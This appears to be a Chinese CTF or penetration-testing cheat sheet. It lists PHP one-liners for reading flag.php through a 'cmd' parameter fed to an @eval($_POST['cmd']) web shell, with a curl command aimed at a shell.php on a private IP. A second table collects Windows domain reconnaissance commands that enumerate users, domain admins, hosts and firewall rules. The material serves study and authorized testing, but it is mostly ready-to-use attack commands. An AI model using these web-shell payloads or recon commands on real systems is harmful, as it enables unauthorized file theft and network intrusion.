### PHP 文件读取方法归纳

以下是您提供的几种 PHP 文件读取方法的整理与归纳,按功能和实现方式分类:

#### 1. 使用 `file_get_contents()`
cmd=echo file_get_contents('flag.php');

- 功能: 读取整个文件的内容并返回字符串。
- 特点: 适合小型文件,直接返回文件内容。
- 优点: 简单直接,易于使用。
- 用途: 读取文本文件或 PHP 文件的内容,不会执行代码。

#### 2. 使用 `highlight_file()`
cmd=echo highlight_file('flag.php', true);

- 功能: 读取文件并以语法高亮显示 PHP 代码。
- 特点: 输出文件内容时会进行 PHP 语法高亮,适合查看 PHP 文件源码。
- 优点: 高亮显示,易于分析 PHP 代码。
- 用途: 展示 PHP 文件的源码,特别适合调试和学习。

#### 3. 使用 `readfile()`
cmd=echo readfile('flag.php');

- 功能: 直接将文件内容输出到浏览器。
- 特点: 不返回文件内容,而是直接输出文件内容。
- 优点: 适合文件内容的快速输出。
- 用途: 输出文件,适合读取并显示文件内容,适用于图片或其他二进制文件。

#### 4. 使用 `fread()` 与 `fopen()`
cmd=echo fread(fopen('flag.php', 'r'), filesize('flag.php'));

- 功能: 打开文件并读取指定字节数,通常配合 filesize() 来读取整个文件。
- 特点: 更加灵活,可以处理大文件和逐块读取。
- 优点: 读取大文件时性能较好。
- 用途: 用于大文件读取和按需读取。

#### 5. 使用 `file()` 与 `implode()`
cmd=echo implode("\n", file('flag.php'));

- 功能: file() 将文件按行读取成数组,`implode()` 将数组内容连接成字符串。
- 特点: 逐行读取文件并输出。
- 优点: 适用于按行处理文件。
- 用途: 适合读取文本文件、配置文件等,并且可以按行处理文件内容。

---

### 总结对比

| 方法 | 描述 | 优点 | 适用场景 |
|---------------------------|---------------------------------------------|-------------------------------------------------|------------------------------------------|
| `file_get_contents()` | 读取整个文件的内容并返回字符串 | 简单、直接,适合读取小文件 | 读取小型文本文件,配置文件等 |
| `highlight_file()` | 读取并高亮显示 PHP 文件的源代码 | 高亮显示 PHP 语法,便于查看源码 | 查看和分析 PHP 源码 |
| `readfile()` | 直接输出文件内容到浏览器 | 适合快速输出文件内容 | 快速输出文件内容,适用于二进制文件 |
| `fread() + `fopen() | 逐块读取文件内容 | 更加灵活,可读取大文件,按需读取文件内容 | 读取大文件或需要逐块读取文件的场景 |
| file() + implode() | 按行读取文件并将内容连接成字符串 | 适合按行处理文件,可以方便地操作文件的每一行 | 读取和处理文本文件,适合逐行分析内容 |

### 用途选择
- 如果需要快速查看文件内容并输出,推荐使用 file_get_contents() 或 `readfile()`。
- 如果文件较大,且希望逐行读取内容,则推荐使用 `file()` 和 `implode()`。
- 如果需要展示 PHP 源代码并进行高亮显示,使用 `highlight_file()` 更为合适。
- 如果处理大文件并且想要逐块读取,使用 `fread() 和 `fopen() 组合方法更为合适。

### 传入方式
这些方法可以通过 POST 请求中的 cmd 参数传递给 @eval($_POST["cmd"]) 来执行。以下是一个示例:

curl -X POST -d "cmd=echo file_get_contents('flag.php');" http://192.168.5.205/shell.php


### 关键词
#PHP #file_get_contents #highlight_file #readfile #fread #fopen #file #implode #命令注入 #源码读取
Windows 内网信息收集命令

| 分类 | 命令 | 用途 |
|--------------|--------------------------------------------|--------------------------------------|
| 网络和接口信息 | ipconfig /all | 显示所有网络接口的详细信息 |
| | ipconfig /displaydns | 显示本地的 DNS 缓存 |
| | netstat -r | 显示路由表 |
| | netstat -bnao | 列出所有活动的端口及连接状态 |
| | netsh firewall show config | 查看防火墙配置 |
| | netsh advfirewall firewall show rule name=all | 显示所有高级防火墙规则 |
| 用户和权限信息 | whoami /all | 列出当前用户的用户名、组名和权限 |
| | net user /domain | 列出域内所有用户 |
| | net accounts /domain | 显示域密码策略 |
| 共享和组信息 | net share | 显示当前的共享文件夹 |
| | net view /domain | 列出所有域名 |
| | net group /domain | 列出域里的组 |
| | net group "domain computers" /domain | 列出域内所有主机 |
| | net group "domain admins" /domain | 列出域管理员 |
| | net group "enterprise admins" /domain | 列出企业管理员组 |
| 系统和进程信息 | systeminfo | 查看系统版本、补丁等详细信息 |
| | wmic | 查看系统信息(如硬件、服务等) |
| | tasklist | 列出所有当前运行的进程 |

#Windows #内网信息收集 #命令分类
 
 
Back to Top